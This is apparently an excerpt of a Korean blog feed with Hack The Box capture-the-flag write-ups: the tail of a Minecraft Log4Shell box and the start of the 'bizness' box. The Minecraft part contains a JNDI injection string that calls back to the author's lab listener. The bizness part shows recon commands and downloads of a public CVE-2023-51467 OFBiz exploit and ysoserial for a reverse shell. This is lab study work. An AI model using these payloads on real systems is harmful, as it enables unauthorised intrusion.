&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;805&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/xmH04/btsE6UTYPm4/yO7GFgkNK6lwweG0TKADt1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/xmH04/btsE6UTYPm4/yO7GFgkNK6lwweG0TKADt1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/xmH04/btsE6UTYPm4/yO7GFgkNK6lwweG0TKADt1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FxmH04%2FbtsE6UTYPm4%2FyO7GFgkNK6lwweG0TKADt1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1911&quot; height=&quot;805&quot; data-origin-width=&quot;1911&quot; data-origin-height=&quot;805&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3. 마인크래프트 서버에 접속해서 '${jndi:ldap://10.10.14.72:1389/a}' 입력하면&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1905&quot; data-origin-height=&quot;930&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/3eddI/btsE7om1kD2/dbtAX62lriC6PGCO0qdlj1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/3eddI/btsE7om1kD2/dbtAX62lriC6PGCO0qdlj1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/3eddI/btsE7om1kD2/dbtAX62lriC6PGCO0qdlj1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F3eddI%2FbtsE7om1kD2%2FdbtAX62lriC6PGCO0qdlj1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1905&quot; height=&quot;930&quot; data-origin-width=&quot;1905&quot; data-origin-height=&quot;930&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4. 9001포트에서 시스템 명령어 사용 가능&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1892&quot; data-origin-height=&quot;1358&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b6iftD/btsE9YVr5s7/GuPpz3OUGIHE5AzvgP8w3K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b6iftD/btsE9YVr5s7/GuPpz3OUGIHE5AzvgP8w3K/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b6iftD/btsE9YVr5s7/GuPpz3OUGIHE5AzvgP8w3K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb6iftD%2FbtsE9YVr5s7%2FGuPpz3OUGIHE5AzvgP8w3K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1892&quot; height=&quot;1358&quot; data-origin-width=&quot;1892&quot; data-origin-height=&quot;1358&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;엥?.. 또 안되네 뭐지 아&amp;nbsp;&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;144&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cLARtU/btsFbtHZama/KimuJvEg7Ex3g34HLTb0h0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cLARtU/btsFbtHZama/KimuJvEg7Ex3g34HLTb0h0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cLARtU/btsFbtHZama/KimuJvEg7Ex3g34HLTb0h0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcLARtU%2FbtsFbtHZama%2FKimuJvEg7Ex3g34HLTb0h0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1974&quot; height=&quot;144&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;144&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1973&quot; data-origin-height=&quot;844&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmqqMl/btsE9O67GZT/edUi4MCtPqwzPCQkKuE3k0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmqqMl/btsE9O67GZT/edUi4MCtPqwzPCQkKuE3k0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmqqMl/btsE9O67GZT/edUi4MCtPqwzPCQkKuE3k0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbmqqMl%2FbtsE9O67GZT%2FedUi4MCtPqwzPCQkKuE3k0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1973&quot; height=&quot;844&quot; data-origin-width=&quot;1973&quot; data-origin-height=&quot;844&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다시해보니까 작동해서 빠르게 'user.txt' flag 찾음 근데 지금 시점으로 다시 서버 연결이 안됨...&lt;/p&gt;</description>
      <category>문제풀이/Hack The Box</category>
      <author>Kwon Oh! JUN</author>
      <guid isPermaLink="true">https://securitystudy.tistory.com/166</guid>
      <comments>https://securitystudy.tistory.com/166#entry166comment</comments>
      <pubDate>Tue, 20 Feb 2024 16:51:20 +0900</pubDate>
    </item>
    <item>
      <title>[Hack The Box] bizness</title>
      <link>https://securitystudy.tistory.com/165</link>
      <description>&lt;script&gt;
const _0x5eef=['classList','92935nhtnYq','setAttribute','push','innerHTML','getElementById','toLowerCase','tt_adsense_top','another_category','style','//p[contains(text(),\x27[목차여기]\x27)]','1954669aacfHB','div','appendChild','toc-ym','title','forEach','DOMContentLoaded','call','addEventListener','length','insertBefore','firstElementChild','log','27309qNoTHN','62SuwPRc','parentNode','querySelector','revenue_unit_wrap','tagName','23736mMyuUa','singleNodeValue','trim','17723tUfPMr','textContent','1STKGDu','getAttribute','contains','nextSibling','791846eKKEom','createElement','outerText','FIRST_ORDERED_NODE_TYPE','querySelectorAll','72wJWnLP','hasAttribute','669103LLOFBD','toc'];function _0x330c(_0x5d40d0,_0x4afdad){_0x5d40d0=_0x5d40d0-0xec;let _0x5eef71=_0x5eef[_0x5d40d0];return _0x5eef71;}const _0x2078d2=_0x330c;(function(_0xbea334,_0x392453){const _0x2c3076=_0x330c;while(!![]){try{const _0x5a087d=-parseInt(_0x2c3076(0x117))+parseInt(_0x2c3076(0xf7))+parseInt(_0x2c3076(0xfa))+-parseInt(_0x2c3076(0x11a))*-parseInt(_0x2c3076(0xf5))+parseInt(_0x2c3076(0x112))*parseInt(_0x2c3076(0x111))+parseInt(_0x2c3076(0xec))*-parseInt(_0x2c3076(0xf0))+-parseInt(_0x2c3076(0x104));if(_0x5a087d===_0x392453)break;else _0xbea334['push'](_0xbea334['shift']());}catch(_0x47ff63){_0xbea334['push'](_0xbea334['shift']());}}}(_0x5eef,0xea9e9),document[_0x2078d2(0x10c)](_0x2078d2(0x10a),function(){const _0x7eb51e=_0x2078d2;try{const _0x591681=document[_0x7eb51e(0x114)]('.contents_style'),_0x1762f9=document[_0x7eb51e(0xfe)](_0x7eb51e(0x107));if(_0x591681&amp;&amp;!_0x1762f9)htmlTableOfContents();else return![];}catch(_0x250abc){console[_0x7eb51e(0x110)]('');}}));function htmlTableOfContents(_0x4f1c99){const _0x388803=_0x2078d2;var _0x4f1c99=_0x4f1c99||document;const _0x44fb35=document[_0x388803(0xf1)]('div');_0x44fb35[_0x388803(0xfb)]('id',_0x388803(0x107));const _0x2117e2=document['querySelector']('.contents_style');var _0x35e549=_0x388803(0x103),_0x552a33=document['evaluate'](_0x35e549,document,null,XPathResult[_0x388803(0xf3)],null)[_0x388803(0x118)];let _0x407aa0;_0x552a33?(_0x407aa0=_0x552a33,_0x407aa0[_0x388803(0x11b)]='',_0x407aa0[_0x388803(0x106)](_0x44fb35)):(_0x407aa0=_0x2117e2[_0x388803(0x10f)],_0x407aa0['classList'][_0x388803(0xee)](_0x388803(0x100))||_0x407aa0[_0x388803(0xf9)]['contains'](_0x388803(0x115))?_0x2117e2['insertBefore'](_0x44fb35,_0x407aa0[_0x388803(0xef)]):_0x407aa0[_0x388803(0x113)][_0x388803(0x10e)](_0x44fb35,_0x407aa0));const _0x3e06b5=document['getElementById'](_0x388803(0x107)),_0x5ee2f2=[]['slice'][_0x388803(0x10b)](_0x2117e2[_0x388803(0xf4)]('h1,\x20h2,\x20h3,\x20h4,\x20h5,\x20h6')),_0x454032=[];for(i=0x0;i&lt;_0x5ee2f2[_0x388803(0x10d)];i++){if(_0x5ee2f2[i][_0x388803(0xf2)][_0x388803(0x119)]()==='')continue;else{if(_0x5ee2f2[i][_0x388803(0xf9)][_0x388803(0xee)](_0x388803(0x108)))continue;else{if(_0x5ee2f2[i][_0x388803(0x113)]['classList'][_0x388803(0xee)](_0x388803(0x101)))continue;else _0x454032[_0x388803(0xfc)](_0x5ee2f2[i]);}}}_0x454032[_0x388803(0x109)](function(_0x5d97e0,_0x2112a5){const _0x4b3465=_0x388803;var _0x94aa2e=_0x4b3465(0xf8)+_0x2112a5;if(_0x5d97e0[_0x4b3465(0xf6)]('id'))_0x94aa2e=_0x5d97e0[_0x4b3465(0xed)]('id');else _0x5d97e0[_0x4b3465(0xfb)]('id',_0x94aa2e);var _0x34278b=_0x4f1c99[_0x4b3465(0xf1)]('a');_0x34278b[_0x4b3465(0xfb)]('href','#'+_0x94aa2e),_0x34278b['textContent']='•\x20'+_0x5d97e0[_0x4b3465(0x11b)];var _0x118edf=_0x4f1c99[_0x4b3465(0xf1)](_0x4b3465(0x105));_0x118edf[_0x4b3465(0xfb)]('class',_0x5d97e0[_0x4b3465(0x116)][_0x4b3465(0xff)]()),_0x118edf[_0x4b3465(0x106)](_0x34278b),_0x3e06b5[_0x4b3465(0x106)](_0x118edf);});const _0xd72dc='\x0a\x20\x20\x20\x20#toc-ym\x20div.h1\x20{\x20margin-left:\x200em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h2\x20{\x20margin-left:\x200.5em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h3\x20{\x20margin-left:\x201em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h4\x20{\x20margin-left:\x201.5em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h5\x20{\x20margin-left:\x202em\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div.h6\x20{\x20margin-left:\x202.5em\x20}\x0a\x20\x20\x20\x20\x0a\x20\x20\x20\x20#toc-ym\x20{\x0a\x20\x20\x20\x20\x20\x20margin:\x2030px\x200px\x2030px\x200px;\x0a\x20\x20\x20\x20\x20\x20padding:\x2020px\x2020px\x2010px\x2015px;\x0a\x20\x20\x20\x20\x20\x20border:\x201px\x20solid\x20#dadada;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#ffffff;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym::before\x20{\x0a\x20\x20\x20\x20\x20\x20content:\x20\x22목\x20\x20차\x22;\x0a\x20\x20\x20\x20\x20\x20display:\x20block;\x0a\x20\x20\x20\x20\x20\x20width:\x20120px;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20rgb(255,\x20255,\x20255);\x0a\x20\x20\x20\x20\x20\x20text-align:\x20center;\x0a\x20\x20\x20\x20\x20\x20font-size:\x2018px;\x0a\x20\x20\x20\x20\x20\x20font-weight:\x20bold;\x0a\x20\x20\x20\x20\x20\x20margin:\x20-40px\x20auto\x200px;\x0a\x20\x20\x20\x20\x20\x20padding:\x205px\x200px;\x0a\x20\x20\x20\x20\x20\x20border-width:\x201px;\x0a\x20\x20\x20\x20\x20\x20border-style:\x20solid;\x0a\x20\x20\x20\x20\x20\x20border-color:\x20rgb(218,\x20218,\x20218);\x0a\x20\x20\x20\x20\x20\x20border-image:\x20initial;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div{\x0a\x20\x20\x20\x20\x20\x20margin:\x205px\x200px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div:first-child{\x0a\x20\x20\x20\x20\x20\x20margin-top:\x2015px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div:last-child{\x0a\x20\x20\x20\x20\x20\x20margin-bottom:\x2015px;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div\x20a\x20{\x0a\x20\x20\x20\x20\x20\x20text-decoration:\x20none;\x0a\x20\x20\x20\x20\x20\x20color:\x20#337ab7;\x0a\x20\x20\x20\x20\x20\x20transition:\x20all\x20ease\x200.2s;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20#toc-ym\x20div\x20a:hover\x20{\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20\x20\x20color:\x20#333333;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#ecc7ff;\x0a\x20\x20\x20\x20\x20\x20\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20/*\x0a\x20\x20\x20\x20.contents_style\x20h3{\x0a\x20\x20\x20\x20\x20\x20margin-bottom:7px;\x0a\x20\x20\x20\x20\x20\x20padding:\x2010px\x2015px;\x0a\x20\x20\x20\x20\x20\x20border-left:\x205px\x20solid\x20#757575;\x0a\x20\x20\x20\x20\x20\x20background-color:\x20#e5e5e5;\x0a\x20\x20\x20\x20\x20\x20font-weight:\x20500;\x0a\x20\x20\x20\x20\x20\x20color:\x20#000000\x20!important;\x0a\x20\x20\x20\x20}\x0a\x20\x20\x20\x20*/\x0a\x20\x20\x20\x20',_0x3ed036=document[_0x388803(0xf1)](_0x388803(0x102));_0x3ed036[_0x388803(0xfd)]=_0xd72dc,_0x2117e2[_0x388803(0x10e)](_0x3ed036,_0x407aa0);}
&lt;/script&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. 정보수집&lt;/h2&gt;
&lt;h4 id=&quot;toc1&quot; style=&quot;background-color: #ffffff; color: #5c5c5c; text-align: start;&quot; data-ke-size=&quot;size20&quot;&gt;&lt;span style=&quot;color: #000000;&quot;&gt;1.1. 포트 스캔&lt;/span&gt;&lt;/h4&gt;
&lt;pre id=&quot;code_1708334301680&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;nmap -sV 10.10.11.252 -T5&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;667&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkp92Q/btsEYYXszxC/qI7S6Usriid7CIKdfKiLS0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkp92Q/btsEYYXszxC/qI7S6Usriid7CIKdfKiLS0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkp92Q/btsEYYXszxC/qI7S6Usriid7CIKdfKiLS0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbkp92Q%2FbtsEYYXszxC%2FqI7S6Usriid7CIKdfKiLS0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1982&quot; height=&quot;667&quot; data-origin-width=&quot;1982&quot; data-origin-height=&quot;667&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1.2. 디렉터리 확인&lt;/h4&gt;
&lt;pre id=&quot;code_1708334338940&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;dirsearch -u https://bizness.htb&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1858&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cvpAY3/btsE0rxNz40/6wqnPKZ2C17OjxAMuYbJqk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cvpAY3/btsE0rxNz40/6wqnPKZ2C17OjxAMuYbJqk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cvpAY3/btsE0rxNz40/6wqnPKZ2C17OjxAMuYbJqk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcvpAY3%2FbtsE0rxNz40%2F6wqnPKZ2C17OjxAMuYbJqk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1858&quot; height=&quot;1125&quot; data-origin-width=&quot;1858&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'accounting' 로그인 관련 디렉터리인거 같음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;1.3. 서브 도메인 확인&lt;/h4&gt;
&lt;pre id=&quot;code_1708334378594&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;ffuf -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://bizness.htb/ -H &quot;Host: FUZZ.bizness.htb&quot; -mc 200&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1942&quot; data-origin-height=&quot;1125&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/m5fnU/btsE0JEYHgC/Cm5ak6boODkblt81BPJt5k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/m5fnU/btsE0JEYHgC/Cm5ak6boODkblt81BPJt5k/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/m5fnU/btsE0JEYHgC/Cm5ak6boODkblt81BPJt5k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fm5fnU%2FbtsE0JEYHgC%2FCm5ak6boODkblt81BPJt5k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1942&quot; height=&quot;1125&quot; data-origin-width=&quot;1942&quot; data-origin-height=&quot;1125&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;서브 도메인은 확인 할 수 없었음.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. 초기접근&lt;/h2&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;2.1. 'CVE-2023-51467' 활용한 리버스 쉘&lt;/h4&gt;
&lt;pre id=&quot;code_1708334451274&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;https://bizness.htb/accounting&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;643&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b89kOZ/btsEZb3mpXX/hkkMNeWeT0okn2ak0WKtmK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b89kOZ/btsEZb3mpXX/hkkMNeWeT0okn2ak0WKtmK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b89kOZ/btsEZb3mpXX/hkkMNeWeT0okn2ak0WKtmK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb89kOZ%2FbtsEZb3mpXX%2FhkkMNeWeT0okn2ak0WKtmK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2000&quot; height=&quot;643&quot; data-origin-width=&quot;2000&quot; data-origin-height=&quot;643&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;table style=&quot;border-collapse: collapse; width: 100%;&quot; border=&quot;1&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;width: 100%;&quot;&gt;&lt;span style=&quot;color: #000000; text-align: left;&quot;&gt; Apache OFBiz는 오픈 소스 전사적 자원 관리 시스템입니다. 엔터프라이즈의 많은 비즈니스 프로세스를 통합하고 자동화하는 엔터프라이즈 애플리케이션 제품군을 제공합니다. OFBiz는 Apache Software Foundation 최상위 프로젝트입니다 &lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;'/accounting' 디렉터리 검색해보니까 로그인 관련 웹 페이지를 확인할 수 있음. OFBIZ 관련해서 CVE 검색해볼꺼임.&lt;/p&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708334610598&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;wget https://raw.githubusercontent.com/jakabakos/Apache-OFBiz-Authentication-Bypass/master/exploit.py&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;715&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Kq3oU/btsE6Tmgoud/tTXhpOAyYkNcsx6Z04C4D0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Kq3oU/btsE6Tmgoud/tTXhpOAyYkNcsx6Z04C4D0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Kq3oU/btsE6Tmgoud/tTXhpOAyYkNcsx6Z04C4D0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKq3oU%2FbtsE6Tmgoud%2FtTXhpOAyYkNcsx6Z04C4D0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1970&quot; height=&quot;715&quot; data-origin-width=&quot;1970&quot; data-origin-height=&quot;715&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;'CVE-2023-51467' 취약점을 확인할 수 있었고 사용해서 리버스 쉘을 실행할꺼임.&lt;/p&gt;
&lt;p style=&quot;text-align: left;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;figure id=&quot;og_1708334627898&quot; contenteditable=&quot;false&quot; data-ke-type=&quot;opengraph&quot; data-ke-align=&quot;alignCenter&quot; data-og-type=&quot;object&quot; data-og-title=&quot;GitHub - jakabakos/Apache-OFBiz-Authentication-Bypass: This repo is a PoC with to exploit CVE-2023-51467 and CVE-2023-49070 prea&quot; data-og-description=&quot;This repo is a PoC with to exploit CVE-2023-51467 and CVE-2023-49070 preauth RCE vulnerabilities found in Apache OFBiz. - jakabakos/Apache-OFBiz-Authentication-Bypass&quot; data-og-host=&quot;github.com&quot; data-og-source-url=&quot;https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass&quot; data-og-url=&quot;https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass&quot; data-og-image=&quot;https://scrap.kakaocdn.net/dn/b41m71/hyVmVhke7D/OUhVppRpKmNkl72lB77kN1/img.png?width=1200&amp;amp;height=600&amp;amp;face=967_148_1053_241&quot;&gt;&lt;a href=&quot;https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot; data-source-url=&quot;https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass&quot;&gt;
&lt;div class=&quot;og-image&quot; style=&quot;background-image: url('https://scrap.kakaocdn.net/dn/b41m71/hyVmVhke7D/OUhVppRpKmNkl72lB77kN1/img.png?width=1200&amp;amp;height=600&amp;amp;face=967_148_1053_241');&quot;&gt;&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;og-text&quot;&gt;
&lt;p class=&quot;og-title&quot; data-ke-size=&quot;size16&quot;&gt;GitHub - jakabakos/Apache-OFBiz-Authentication-Bypass: This repo is a PoC with to exploit CVE-2023-51467 and CVE-2023-49070 prea&lt;/p&gt;
&lt;p class=&quot;og-desc&quot; data-ke-size=&quot;size16&quot;&gt;This repo is a PoC with to exploit CVE-2023-51467 and CVE-2023-49070 preauth RCE vulnerabilities found in Apache OFBiz. - jakabakos/Apache-OFBiz-Authentication-Bypass&lt;/p&gt;
&lt;p class=&quot;og-host&quot; data-ke-size=&quot;size16&quot;&gt;github.com&lt;/p&gt;
&lt;/div&gt;
&lt;/a&gt;&lt;/figure&gt;
&lt;hr contenteditable=&quot;false&quot; data-ke-type=&quot;horizontalRule&quot; data-ke-style=&quot;style6&quot; /&gt;
&lt;pre id=&quot;code_1708334683094&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;wget https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass/raw/master/ysoserial-all.jar&lt;/code&gt;&lt;/pre&gt;
